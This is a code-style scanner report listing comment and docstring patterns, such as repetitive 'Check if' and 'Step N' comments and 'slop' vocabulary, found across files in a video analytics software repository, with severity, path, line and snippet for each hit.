MEDIUM	…m/patches/evs_vllm_public_files/v1/engine/async_llm.py	257	# Create the AsyncLLM.	COMMENT
MEDIUM	…m/patches/evs_vllm_public_files/v1/engine/async_llm.py	396	# Create a new output collector for the request.	COMMENT
MEDIUM	…evs_vllm_public_files/entrypoints/openai/api_server.py	121	# Create the EngineConfig (determines if we can use V1).	COMMENT
MEDIUM	services/rtvi/rt-vlm/tests/test_nim_endpoints.sh	137	# Create a test JSON file for image_url	COMMENT
MEDIUM	services/rtvi/rt-vlm/tests/test_nim_endpoints.sh	211	# Create a test JSON file for video_url	COMMENT
MEDIUM	…es/rtvi/rt-vlm/tests/test_turn_by_turn_conversation.py	39	# Create a multi-turn conversation	COMMENT
MEDIUM	services/rtvi/rt-vlm/tests/rtvi_vlm/conftest.py	79	# Create a mock pipeline instance	COMMENT
MEDIUM	services/rtvi/rt-vlm/tests/rtvi_vlm/conftest.py	81	# Create a mock VlmModelInfo object	COMMENT
MEDIUM	…ces/rtvi/rt-vlm/tests/rtvi_vlm/test_rtvi_vlm_server.py	281	# Create a mock VlmModelInfo object	COMMENT
MEDIUM	services/rtvi/rt-vlm/perf/benchmark/config.yaml	19	# This file defines test scenarios for the RTVI performance test harness	COMMENT
MEDIUM	services/rtvi/rt-vlm/perf/benchmark/base.py	1637	# Create a unique label for each test case and metric combination	COMMENT
MEDIUM	…es/rtvi/rt-vlm/src/server/alert_verification_server.py	938	# Create the response json	COMMENT
MEDIUM	…es/rtvi/rt-vlm/src/server/alert_verification_server.py	973	# Create the response json	COMMENT
MEDIUM	services/rtvi/rt-vlm/src/server/rtvi_stream_handler.py	3379	# Create a lookup dictionary for saved responses by chunk index	COMMENT
144 more matches not shown…

Redundant / Tautological Comments263 hits · 402 pts

Severity	File	Line	Snippet	Context
LOW	tools/message-broker-consumers/base_consumer.py	217	# Check if msg_id should be added (skip special markers like '__kafka_error__')	COMMENT
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1024	# Check if all subfolders have the same frame count	COMMENT
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1269	# Check if all corners are within reasonable bounds	COMMENT
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1586	# Set this to True to enable renaming the annotation format, or False to use the default	COMMENT
LOW	…postprocessing/data_conversion/convert_ground_truth.py	1607	# Check if root_directory exists	COMMENT
LOW	…data_conversion/convert_images_to_videos_no_bframes.sh	18	# Check if a directory argument was provided	COMMENT
LOW	…data_conversion/convert_images_to_videos_no_bframes.sh	27	# Check if the specified directory exists	COMMENT
LOW	…data_conversion/convert_images_to_videos_no_bframes.sh	74	# Check if we have reached the maximum number of concurrent jobs	COMMENT
LOW	…cessing/data_sanity_check/dataset_sanity_check_json.py	82	# Check if the frame exists	COMMENT
LOW	…cessing/data_sanity_check/dataset_sanity_check_json.py	87	# Check if the frame is readable	COMMENT
LOW	…ocessing/data_sanity_check/dataset_sanity_check_png.py	69	# Check if the frame exists	COMMENT
LOW	…ocessing/data_sanity_check/dataset_sanity_check_png.py	74	# Check if the frame is readable	COMMENT
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	120	# Check if all corners are within reasonable bounds	COMMENT
LOW	…ta_sanity_check/dataset_sanity_check_bbox_direction.py	803	#Check if the data exists nan	COMMENT
LOW	…ocessing/data_sanity_check/dataset_sanity_check_rgb.py	69	# Check if the frame exists	COMMENT
LOW	…ocessing/data_sanity_check/dataset_sanity_check_rgb.py	74	# Check if the frame is readable	COMMENT
LOW⚡	…_sanity_check/dataset_sanity_check_instance_id_json.py	72	# Check if the frame exists	COMMENT
LOW⚡	…_sanity_check/dataset_sanity_check_instance_id_json.py	77	# Check if the frame is readable	COMMENT
LOW	…ssing/data_sanity_check/dataset_sanity_check_videos.sh	18	# Check if a directory argument was provided	COMMENT
LOW	…ssing/data_sanity_check/dataset_sanity_check_videos.sh	27	# Check if the specified directory exists	COMMENT
LOW	…a_sanity_check/dataset_sanity_check_instance_id_png.py	69	# Check if the frame exists	COMMENT
LOW	…a_sanity_check/dataset_sanity_check_instance_id_png.py	74	# Check if the frame is readable	COMMENT
LOW⚡	…ocessing/data_sanity_check/dataset_sanity_check_npy.py	80	# Check if the frame exists	COMMENT
LOW⚡	…ocessing/data_sanity_check/dataset_sanity_check_npy.py	85	# Check if the frame is readable	COMMENT
LOW	…files/dev-profile-base/eval/eval_output_json_to_csv.sh	66	# Check if jq is available	COMMENT
LOW	deploy/docker/scripts/dev-profile.sh	1695	# Check if source .env exists	COMMENT
LOW	deploy/docker/scripts/dev-profile.sh	1701	# Check if overrides.env exists	COMMENT
LOW	…rvices/infra/kafka/init-scripts/create-kafka-topics.sh	56	#Check if Kafka is Up & Running	COMMENT
LOW	…services/vios/charts/vios-streamprocessing/values.yaml	165	# Set true to use FFmpeg software encode/decode instead of GPU hardware path.	COMMENT
LOW	…dation_and_evaluation/run_validation_and_evaluation.py	245	# Check if mdx-bev only validation is requested	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	618	# Check if data directory exists	COMMENT
LOW	…ytics/spatialai-data-utils/docker/generate_metadata.sh	19	# Check if a JSON file is provided as an argument	COMMENT
LOW	…-utils/spatialai_data_utils/core/cameras/clustering.py	334	# Check if camera matrices were extracted successfully	COMMENT
LOW	…-utils/spatialai_data_utils/core/cameras/clustering.py	991	# Check if current membership meets thresholds	COMMENT
LOW	…-utils/spatialai_data_utils/core/cameras/clustering.py	1549	# Check if camera matrices were extracted successfully	COMMENT
LOW	…ta-utils/spatialai_data_utils/core/cameras/grouping.py	658	# Check if this group is a duplicate of an existing group	COMMENT
LOW⚡	…a-utils/spatialai_data_utils/core/cameras/filtering.py	125	# Check if sensor exists in the set	COMMENT
LOW	…a-utils/spatialai_data_utils/core/cameras/filtering.py	152	# Check if file exists	COMMENT
LOW	…a-utils/spatialai_data_utils/core/cameras/filtering.py	184	# Check if file exists	COMMENT
LOW	…ata-utils/spatialai_data_utils/core/cameras/polygon.py	782	# Check if sensor already has a fieldOfViewPolygon attribute	COMMENT
LOW	…ai-data-utils/spatialai_data_utils/core/cameras/bev.py	180	# Check if all sensors have group information	COMMENT
LOW	…data-utils/spatialai_data_utils/core/cameras/origin.py	414	# Check if attributes is a list (array of name-value pairs)	COMMENT
LOW	…data-utils/spatialai_data_utils/core/cameras/origin.py	436	# Check if attributes is a dict	COMMENT
LOW	…ploy-detection-tracking-2d/scripts/run_app_and_wait.sh	187	# Check if app died	COMMENT
LOW	…y-detection-tracking-2d/scripts/calibration_manager.py	38	# Check if calibration covers batch size 6	STRING
LOW	…enchmark-video-summarization/scripts/media-server.yaml	5	# Set VSS_BENCHMARK_DATA_DIR to the directory containing your test videos (mp4 files).	COMMENT
LOW	…king/vss-benchmark-video-summarization/scripts/base.py	786	# Check if this is file burst mode by looking for benchmark_mode column and concurrency_level data	COMMENT
LOW	services/rtvi/rt-embed/tests/tests_common.py	248	# Check if the files exist	COMMENT
LOW⚡	…bed/tests/rtvi_embed/test_rtvi_embed_stream_handler.py	353	# Check if text embeddings method exists	COMMENT
LOW	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	1125	# Check if the RTSP URL contains valid video	COMMENT
LOW	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	1659	# Check if inference is active	COMMENT
LOW	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	1904	# Check if asset exists with same url throw error	COMMENT
LOW	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	1997	# Check if user has specified the model that is initialized	COMMENT
LOW	services/rtvi/rt-embed/src/server/rtvi_embed_server.py	2028	# Check if summarization is already running / already completed.	COMMENT
LOW	…rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py	3814	# Check if the response contains an error	COMMENT
LOW⚡	services/rtvi/rt-embed/src/utils/asset_manager.py	1216	# Check if writing the current chunk will cross threshold	COMMENT
LOW⚡	services/rtvi/rt-embed/src/utils/asset_manager.py	1226	# Check if writing the current chunk will cross max size	COMMENT
LOW	services/rtvi/rt-embed/src/utils/otel_helper.py	68	# Check if OTEL monitoring is enabled (standard variable)	COMMENT
LOW	services/rtvi/rt-embed/src/utils/file_splitter.py	207	# Check if this is the last chunk (end of file reached,	COMMENT
LOW	…-embed/src/models/openai_compat/openai_compat_model.py	692	# Check if bytes are JPEG (magic: 0xFF 0xD8) or raw pixels	COMMENT
203 more matches not shown…

Structural Annotation Overuse222 hits · 384 pts

Severity	File	Line	Snippet	Context
LOW	…y/helm/developer-profiles/dev-profile-search/README.md	156	## Step 1: Volume provisioner (bare metal, optional)	COMMENT
LOW	…y/helm/developer-profiles/dev-profile-search/README.md	178	## Step 2: Install Ingress Controller (HAProxy)	COMMENT
LOW	…y/helm/developer-profiles/dev-profile-search/README.md	212	## Step 3: Deploy the Search Profile	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	624	# Step 1: Collect all scenes	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	633	# Step 2: Display all scenes	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	636	# Step 3: Set global parameters	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	639	# Step 4: Select scenes	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	642	# Step 5: Display selected scenes with parameters	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	650	# Step 6: Confirm and process	COMMENT
LOW⚡	…ls/tools/camera_grouping/batch_create_camera_groups.sh	658	# Step 7: Process all scenes	COMMENT
LOW	…utils/spatialai_data_utils/visualization/draw_utils.py	167	# Step 1: paint the (possibly translucent) background rectangle.	COMMENT
LOW	…utils/spatialai_data_utils/visualization/draw_utils.py	182	# Step 2: draw text on top of the (already-blended) rectangle. Text	COMMENT
LOW⚡	…utils/spatialai_data_utils/eval/tracking/aic24_eval.py	173	# Step 1: Accumulate metric data for all classes and distance thresholds.	COMMENT
LOW⚡	…utils/spatialai_data_utils/eval/tracking/aic24_eval.py	200	# Step 2: Aggregate metrics from the metric data.	COMMENT
LOW	.openclaw/workspace/BOOTSTRAP.md	11	## Step 1: Auto-Detect the Environment	COMMENT
LOW	.openclaw/workspace/BOOTSTRAP.md	71	## Step 3: Run Prerequisite Checks	COMMENT
LOW	.openclaw/workspace/BOOTSTRAP.md	77	## Step 4: Save Config to TOOLS.md	COMMENT
LOW	.openclaw/workspace/BOOTSTRAP.md	92	## Step 5: Offer Next Steps	COMMENT
LOW	.openclaw/workspace/_nemoclaw/BOOTSTRAP.md	26	## Step 1: Run AGENTS.md "Every Session", then verify reachability	COMMENT
LOW	.openclaw/workspace/_nemoclaw/BOOTSTRAP.md	35	## Step 2: Confirm the MCP server	COMMENT
LOW	.openclaw/workspace/_nemoclaw/BOOTSTRAP.md	47	## Step 3: Offer Next Steps	COMMENT
LOW	.github/vss-playbook-compliance/post_comment.py	132	return "### Step 1 - playbook compliance\n\n_Step did not run or no JSON output captured._\n"	CODE
LOW	.github/vss-playbook-compliance/post_comment.py	143	out = ["### Step 1 - playbook compliance", "", f"{status} - {summary}", ""]	CODE
LOW	…ibration/references/deploy-auto-calibration-service.md	45	### Step 0: Platform Preflight	COMMENT
LOW	…ibration/references/deploy-auto-calibration-service.md	114	### Step 1: NGC login	COMMENT
LOW	…ibration/references/deploy-auto-calibration-service.md	131	### Step 2: Stage the VGGT model when required	COMMENT
LOW	…ibration/references/deploy-auto-calibration-service.md	226	### Step 3: Select the auto-calibration service list and deploy	COMMENT
LOW	…ibration/references/deploy-auto-calibration-service.md	295	### Step 4: Verify	COMMENT
LOW	…ibration/references/deploy-auto-calibration-service.md	329	### Step 5: Confirm the projects directory is writable	COMMENT
LOW	…ills/operations/vss-generate-video-report-rag/SKILL.md	34	### Step 1: Configure the generated env file	COMMENT
LOW⚡	…ills/operations/vss-generate-video-report-rag/SKILL.md	56	### Step 2: Log in to NGC registry	COMMENT
LOW⚡	…ills/operations/vss-generate-video-report-rag/SKILL.md	66	### Step 3: Deploy the LVS profile with the RAG config	COMMENT
LOW	…ills/operations/vss-generate-video-report-rag/SKILL.md	106	### Step 4: Verify deployment	COMMENT
LOW	…ills/operations/vss-generate-video-report-rag/SKILL.md	141	### Step 1: List available videos	COMMENT
LOW	…ills/operations/vss-generate-video-report-rag/SKILL.md	152	### Step 2: Collect parameters from the user	COMMENT
LOW	…ills/operations/vss-generate-video-report-rag/SKILL.md	171	### Step 3: Start the report (HTTP HITL)	COMMENT
LOW	…ills/operations/vss-generate-video-report-rag/SKILL.md	188	### Step 4: Respond to HITL prompts	COMMENT
LOW	…ills/operations/vss-generate-video-report-rag/SKILL.md	214	### Step 5: Wait for completion	COMMENT
LOW	…ills/operations/vss-generate-video-report-rag/SKILL.md	225	### Step 6: Present the results	COMMENT
LOW	…enchmarking/vss-benchmark-video-summarization/SKILL.md	111	## Step 0: Pre-flight Check	COMMENT
LOW	…enchmarking/vss-benchmark-video-summarization/SKILL.md	173	## Step 1: Download Test Videos	COMMENT
LOW	…enchmarking/vss-benchmark-video-summarization/SKILL.md	192	## Step 2: Generate Test Clips (if needed)	COMMENT
LOW	…enchmarking/vss-benchmark-video-summarization/SKILL.md	221	## Step 3: Start Media Server	COMMENT
LOW	…enchmarking/vss-benchmark-video-summarization/SKILL.md	245	## Step 4: Configure	COMMENT
LOW	…enchmarking/vss-benchmark-video-summarization/SKILL.md	263	## Step 5: Run Benchmark	COMMENT
LOW	…enchmarking/vss-benchmark-video-summarization/SKILL.md	301	## Step 6: Analyze Results	COMMENT
LOW	…enchmarking/vss-benchmark-video-summarization/SKILL.md	338	## Step 7: Suggest Improvements	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	67	# Step 1: Pre-flight checks	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	79	# Step 2: Start media server if not already running	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	101	# Step 3: Create Python venv if it doesn't exist	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	115	# Step 4: Install requirements if venv is new	COMMENT
LOW⚡	…benchmark-video-summarization/scripts/run_benchmark.sh	123	# Step 5: Run the benchmark	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1160	# Step 1: Strip leading/trailing whitespace	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1162	# Step 2: Extract reasoning description	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1170	# Step 3: Remove complete <think>...</think> block if found, otherwise handle orphan tags	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1178	# Step 4: Remove <answer>, </answer>, <summary>, and </summary> tags, but keep their content	COMMENT
LOW⚡	…ed/src/models/vllm_compatible/vllm_compatible_model.py	1181	# Step 4: Final cleanup (strip whitespace)	COMMENT
LOW	…vi_vlm/patches/evs_vllm_public_files/v1/engine/core.py	379	# NOTE: This method is exception-free	COMMENT
LOW⚡	…public_files/model_executor/models/nano_nemotron_vl.py	578	# Step 2: Check if total tokens is within budget	COMMENT
LOW⚡	…public_files/model_executor/models/nano_nemotron_vl.py	585	# Step 3: We're over budget, need to scale down	COMMENT
162 more matches not shown…

Docstring Block Structure65 hits · 325 pts

Severity	File	Line	Snippet	Context
HIGH	…ols/sdg-postprocessing/utils/export_xform_semantics.py	131	Resolve the output path using priority: user argument > USER_OUTPUT_PATH. If the resolved path is a directory (	STRING
HIGH	deploy/docker/scripts/orchestrator_mcp_helper.py	303	Ensure MCP TLS cert/key exist; generate a self-signed pair only if both are missing. An existing pair is reused as-	STRING
HIGH	…king/vss-benchmark-video-summarization/scripts/base.py	135	Parse and validate benchmark-specific configuration. Args: scenario_config: Scenario-speci	STRING
HIGH	…king/vss-benchmark-video-summarization/scripts/base.py	152	Execute the benchmark and return results metadata. Args: config: Full configuration dictio	STRING
HIGH	…king/vss-benchmark-video-summarization/scripts/base.py	207	Parse and validate global configuration. Args: config: Full configuration dictionary	STRING
HIGH	…king/vss-benchmark-video-summarization/scripts/base.py	264	Load and parse YAML configuration file. Args: config_path: Path to YAML configuration file	STRING
HIGH	…king/vss-benchmark-video-summarization/scripts/base.py	419	Make an API call to the VSS backend. Args: endpoint: API endpoint (will be appended to bas	STRING
HIGH	services/rtvi/rt-embed/src/utils/asset_manager.py	1297	Decode an RFC 2397 data: URI and register the result as an asset. Args: data_url: A data: URI of th	STRING
HIGH	services/rtvi/rt-embed/src/utils/otel_helper.py	42	Initialize OpenTelemetry if enabled and available. The SDK automatically reads and configures itself from standard	STRING
HIGH	services/rtvi/rt-embed/src/models/base_vlm_model.py	163	Generate a text-only response (no multimodal input). Args: messages: List of message dicts with 'ro	STRING
HIGH	services/rtvi/rt-embed/src/models/base_vlm_model.py	183	Async generator that yields text deltas for token-level streaming. Args: messages: List of message	STRING
HIGH	services/rtvi/rt-vlm/tests/rtsp_stream_helper.py	98	Start an RTSP stream from a video file using cvlc. Args: video_file: Path to video file to	STRING
HIGH	services/rtvi/rt-vlm/perf/benchmark/base.py	403	Parse and validate benchmark-specific configuration. Args: scenario_config: Scenario-speci	STRING
HIGH	services/rtvi/rt-vlm/perf/benchmark/base.py	420	Execute the benchmark and return results metadata. Args: config: Full configuration dictio	STRING
HIGH	services/rtvi/rt-vlm/perf/benchmark/base.py	769	Parse and validate global configuration. Args: config: Full configuration dictionary	STRING
HIGH	services/rtvi/rt-vlm/perf/benchmark/base.py	924	Load and parse YAML configuration file. Args: config_path: Path to YAML configuration file	STRING
HIGH	services/rtvi/rt-vlm/perf/benchmark/base.py	1211	Make an API call to the RTVI backend. Args: endpoint: API endpoint (will be appended to ba	STRING
HIGH	services/rtvi/rt-vlm/src/utils/asset_manager.py	1310	Decode an RFC 2397 data: URI and register the result as an asset. Args: data_url: A data: URI of th	STRING
HIGH	services/rtvi/rt-vlm/src/utils/otel_helper.py	42	Initialize OpenTelemetry if enabled and available. The SDK automatically reads and configures itself from standard	STRING
HIGH	services/rtvi/rt-vlm/src/models/base_vlm_model.py	165	Generate a text-only response (no multimodal input). Args: messages: List of message dicts with 'ro	STRING
HIGH	services/rtvi/rt-vlm/src/models/base_vlm_model.py	185	Async generator that yields text deltas for token-level streaming. Args: messages: List of message	STRING
HIGH	…embedding_generation/secondary_embedding_generation.py	440	Read a video frame from VIOS/stream id and crop the object patch get the embedding from the patch and p	STRING
HIGH	…tor/app/profile_configurator/profile_config_manager.py	223	Load profile configurations from YAML file. Args: config_file: Optional path to co	STRING
HIGH	…ofile_configurator/profile_configurator_utils/utils.py	49	Read and parse a YAML file. Args: file_path: Path to the YAML file Returns: D	STRING
HIGH	…ofile_configurator/profile_configurator_utils/utils.py	106	Read a text file and return its contents. Args: file_path: Path to the text file Retu	STRING
HIGH	…ofile_configurator/profile_configurator_utils/utils.py	162	Read and parse a JSON file. Args: file_path: Path to the JSON file Returns: D	STRING
HIGH	…s/vss-configurator/app/utils/message_broker_factory.py	30	Create a message broker instance based on the specified type. Args: broker_type (s	STRING
HIGH	services/configurators/vss-rt-config-adaptor/app/app.py	59	Read and parse a YAML file. Args: file_path: Path to the YAML file Returns: Dictionary co	STRING
HIGH	…ios/test/bdd_tests/tests/unit_tests/unit_test_utils.py	160	Validate that a response contains valid JSON and return it. Args: response: requests.Response object	STRING
HIGH	services/alert/src/mdx/event_bridge_factory.py	30	Create a source instance based on configuration Args: config: Configuration dictio	STRING
HIGH	services/alert/src/mdx/event_bridge_factory.py	60	Create a sink instance based on configuration Args: config: Configuration dictiona	STRING
HIGH	…vices/alert/src/custom_parsers/vehicle_count_parser.py	52	Parse JSON VLM response containing vehicle counts. Extracts ``vehicle_counts`` and ``reasoning`` from the response	STRING
HIGH	services/alert/src/custom_parsers/xml_verdict_parser.py	62	Parse XML-formatted VLM response with <result>/<verdict>/<reasoning> tags. Handles both tag orderings (verdict-firs	STRING
HIGH	services/alert/src/schemas/vlm_responses.py	158	Parse VLM response based on response_format (or auto-detected model type). Supported formats: - ``"au	STRING
HIGH	services/alert/src/schemas/vlm_responses.py	315	Parse JSON-formatted VLM response with configurable field mapping. Handles markdown code fences (```json ... ``	STRING
HIGH	services/alert/src/schemas/sampling_entity.py	37	Create a SamplingEntity instance from a dictionary Args: data: Dictionary containi	STRING
HIGH	services/alert/src/schemas/base_response_parser.py	89	Resolve a dotted Python path to a parser instance. The dotted_path must point to a class (not a function or modul	STRING
HIGH	services/alert/src/schemas/request_entity/validator.py	54	Validate and build entities from raw Alert request messages. Args: raw_messages: L	STRING
HIGH	services/alert/src/schemas/request_entity/validator.py	121	Validate a single alert message using Pydantic. Args: message: Raw alert message d	STRING
HIGH	services/alert/src/schemas/request_entity/builder.py	46	Build alert entities from a list of raw JSON messages. This is the primary method for alert en	STRING
HIGH	services/alert/src/schemas/request_entity/builder.py	79	Build a single alert entity from a JSON message. Args: message: Raw JSON alert mes	STRING
HIGH	services/alert/src/schemas/request_entity/builder.py	103	Build alert entities from JSON string representations. Args: json_strings: List of	STRING
HIGH	…/alert/src/schemas/request_entity/models/parameters.py	132	Create VLMParams with defaults from external configuration. Args: **overrides: Fie	STRING
HIGH	…/alert/src/schemas/request_entity/models/parameters.py	176	Create EventParameters with defaults from external configuration. Args: **override	STRING
HIGH	services/alert/src/vlm/vlm_client.py	331	Download media from URL, base64-encode, and send to VLM. Use this when VLM endpoint cannot fet	STRING
HIGH	services/alert/src/persistence/factory.py	32	Build a PersistenceStore from application config. Returns ``None`` only when persistence is explicitly disabled	STRING
HIGH	services/alert/src/persistence/base.py	45	Store a new document. Args: collection: Logical collection / index name. doc_id: Unique	STRING
HIGH	…es/vss_agents/src/vss_agents/tools/attribute_search.py	63	Resolve the ES index(es) to query for the given ``source_type``. Uploaded ``video_file`` content lives in a single	STRING
HIGH	…es/vss_agents/src/vss_agents/tools/attribute_search.py	481	Fetch an object's embedding vector from the behavior index by object_id. Retrieves the most recent behavior embeddi	STRING
HIGH	…ent/packages/vss_agents/src/vss_agents/tools/search.py	276	Decompose a natural language query into structured search parameters using an LLM. Args: user_query: T	STRING
HIGH	…ckages/vss_agents/src/vss_agents/tools/vst/timeline.py	70	Get the start and end timestamps for a video from VST API. This function: 1. Calls VST streams API to find	STRING
HIGH	…/packages/vss_agents/src/vss_agents/tools/vst/utils.py	120	Get the sensor ID (camera name) for a given stream ID (UUID). This is the reverse mapping of get_stream_id - takes	STRING
HIGH	…ges/vss_agents/src/vss_agents/video_analytics/tools.py	344	Find places semantically similar to the query using cached embeddings. Uses hardcoded parameters:	STRING
HIGH	…ges/vss_agents/src/vss_agents/video_analytics/utils.py	29	Validate ISO 8601 timestamp format with milliseconds and Z timezone. Expected format: YYYY-MM-DDTHH:MM:SS.sssZ	STRING
HIGH	…vss_agents/src/vss_agents/video_analytics/es_client.py	69	Get full index name with prefix. Args: index_key: Key from INDEXES dict Returns:	STRING
HIGH	…ges/vss_agents/src/vss_agents/utils/reasoning_utils.py	79	Returns the system prompt to use for thinking. For NVIDIA Nemotron, returns "/think" if enabled, else "/no_thin	STRING
HIGH	…packages/vss_agents/src/vss_agents/evaluators/utils.py	100	Check if an item should be evaluated by the specified evaluator type. Args: item: The evaluation input	STRING
HIGH	…packages/vss_agents/src/vss_agents/evaluators/utils.py	140	Parse the LLM output to extract score and reasoning. Args: response: The LLM response (can	STRING
HIGH	…ents/evaluators/report_evaluator/eval_config_models.py	95	Create EvalMetricsConfig from a dictionary with single root key. Args: config: Dictionary	STRING
HIGH	…luators/report_evaluator/field_evaluators/llm_judge.py	103	Invoke the LLM and parse the response. Args: prompt: The prompt to send to the LLM	STRING
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AI Slop Vocabulary110 hits · 312 pts

Severity	File	Line	Snippet	Context
LOW	tools/message-broker-consumers/base_consumer.py	221	# Redis returns bytes, just add it	COMMENT
MEDIUM⚡	deploy/docker/scripts/tests/test_run_setup_notebook.py	535	# The harness documentation tells operators to export this before running the	COMMENT
MEDIUM	deploy/docker/services/ui/compose.yml	27	# configured harness endpoint is running on the Docker host.	COMMENT
MEDIUM	deploy/docker/test-scripts/test-dev-profile.sh	1729	# Every launchable profile exposes the same backend-neutral harness settings.	COMMENT
MEDIUM	deploy/helm/services/ui/values.yaml	84	# harness URL directly.	COMMENT
MEDIUM	libs/vss/cli/src/vss_cli/summarize/group.py	642	# other outcome -- a harness should not have to parse stderr prose	COMMENT
MEDIUM	libs/vss/cli/src/vss_cli/summarize/group.py	689	# harness to keep this answer instead of re-running the job.	COMMENT
MEDIUM⚡	…i-data-utils/tests/visualization/test_visualization.py	3763	# robust-to-palette-tweaks check: the two renders must differ.	COMMENT
MEDIUM	.github/skills-review/consolidate.py	95	"## 🔬 Skills Review — 6-paradigm consolidation",	CODE
MEDIUM	.github/skills-review/review_findings.py	34	# Soft default category per paradigm (consolidation majority-vote overrides it).	COMMENT
MEDIUM	.github/skills-review/review_agent.py	45	# Which engine drives each paradigm.	COMMENT
MEDIUM⚡	.github/skills-review/tests/test_review_findings.py	97	# same paradigm twice is NOT corroboration	COMMENT
MEDIUM⚡	.github/skills-review/tests/test_review_findings.py	116	# lone critical -> verify; 3-paradigm medium -> no verify	COMMENT
MEDIUM	.github/skills-review/tests/test_plan_review_matrix.py	100	# every leg carries skill + paradigm + name	COMMENT
MEDIUM	.github/workflows/build-dev-images.yml	269	# VSS_REF pins the harness images (the only Dockerfiles declaring it)	COMMENT
MEDIUM	.github/workflows/helm-sync.yml	6	# diff (PR base ↔ HEAD) touches anything under deploy/ or this harness.	COMMENT
MEDIUM	.github/workflows/helm-sync.yml	42	# harness is synced over there) under repo Settings → Branches /	COMMENT
MEDIUM	.github/workflows/sonarqube.yml	212	# coverage harness in CI, so exclude them from the new-code coverage	COMMENT
MEDIUM	.github/workflows/skills-eval.yml	14	# operational harness/model selections	COMMENT
MEDIUM	.github/workflows/skills-eval.yml	113	# the next trial's own deploy step (the harness no longer pre-deploys or	COMMENT
MEDIUM	.github/workflows/skills-eval.yml	390	# harness via PYTHONPATH for `uvx harbor --environment-import-path`.	COMMENT
MEDIUM	.github/workflows/skills-eval-daily.yml	23	# but the full harness lives on `develop`: click "Run workflow", pick	COMMENT
MEDIUM	.github/workflows/skills-eval-daily.yml	267	# deploy main's code while the harness ran another revision.	COMMENT
MEDIUM	.github/workflows/skills-eval-daily.yml	287	# harness via PYTHONPATH for `uvx harbor --environment-import-path`.	COMMENT
MEDIUM	.github/workflows/vss-playbook-compliance.yml	6	# harness. Mirrors the helm-sync pattern: no top-level `paths:` filter	COMMENT
MEDIUM⚡	.github/workflows/skills-review.yml	4	# Multi-paradigm skill review (ADVISORY). On a PR touching skills/**, or on	COMMENT
MEDIUM⚡	.github/workflows/skills-review.yml	6	# cross-paradigm agreement + severity, and post a sticky PR comment + upload a	COMMENT
MEDIUM⚡	.github/workflows/skills-review.yml	11	# SINGLE JOB by design. The per-(skill x paradigm) legs are pure LLM API calls	COMMENT
MEDIUM	.github/workflows/skills-review.yml	67	# Compute the (skill x paradigm) leg list; gate on changed skills.	COMMENT
MEDIUM	.github/osrb/test_osrb_sources.py	252	# The harness images pick the NGC archive with a shell variable	STRING
MEDIUM	.github/scripts/check_container_tag_source.py	47	# that bake a version in (VSS_PACKAGE_VERSION, or the harness VSS_REF fetch)	COMMENT
MEDIUM	.github/scripts/release_set.py	361	# the eval harness rather than by any compose file.	COMMENT
MEDIUM	.github/scripts/test_helm_release_channel_policy.py	210	# service; the harness images are consumed by `onboard --from` instead.	COMMENT
MEDIUM⚡	.github/skill-eval/skills_eval_agent.py	842	# VSS profile it needs as part of its own first agent turn (the harness	COMMENT
MEDIUM⚡	.github/skill-eval/skills_eval_agent.py	845	# step problem, not the harness's, and tools like	COMMENT
MEDIUM	.github/skill-eval/skills_eval_agent.py	82	# Hard cap on the agent's tool loop — one trial burns ~20-30 harness	COMMENT
MEDIUM	.github/skill-eval/skills_eval_agent.py	732	# it because they're treated as runtime/harness features. List them	COMMENT
MEDIUM	.github/skill-eval/plan_matrix.py	398	# else: harness file or unrelated path -> contributes nothing.	COMMENT
MEDIUM	.github/skill-eval/local_nim.py	597	# Exercise each harness protocol, so a healthy server with an incompatible	COMMENT
MEDIUM	.github/skill-eval/tests/test_vss_ask_video_adapter.py	218	assert "## Selected agent harness: NemoClaw" not in instruction	CODE
MEDIUM	…/adapters/vss-deploy-detection-tracking-2d/generate.py	152	# the harness should report distinctly from low-reward outcomes.	COMMENT
MEDIUM	.github/skill-eval/adapters/vss-ask-video/generate.py	239	"# OpenClaw Markdown recall is harness-owned and may be fixture-backed here.",	CODE
MEDIUM	…ub/skill-eval/adapters/vss-query-analytics/generate.py	244	# nothing in the harness reads them and this spec does not pre-deploy.	COMMENT
MEDIUM	…l-eval/adapters/vss-deploy-video-embedding/generate.py	229	"# cold rtvi-hf-cache pulls — forward if the harness provided it.",	CODE
MEDIUM	.github/skill-eval/envs/brev_env.py	467	# supplied by CI; the harness invokes the worker's NemoClaw CLI.	COMMENT
MEDIUM	.github/skill-eval/envs/brev_env.py	489	# create. No longer load-bearing now that the harness	COMMENT
MEDIUM	.github/skill-eval/envs/brev_env.py	630	# The harness intentionally does NOT pre-deploy any VSS profile	COMMENT
MEDIUM	.github/skill-eval/envs/tests/prove_mount_probe.sh	8	# Reproduces exactly what the harness `git clean` does mid-chain — delete	COMMENT
MEDIUM	skills/vss-build-vision-ai/scripts/stage_vss_src.py	5	# Stage the local checkout's harness inputs into a harness build context.	COMMENT
MEDIUM	skills/vss-build-vision-ai/scripts/stage_vss_src.py	13	# tree's harness inputs (STAGE_ROOTS below) into <harness>/.vss-src/, which	COMMENT
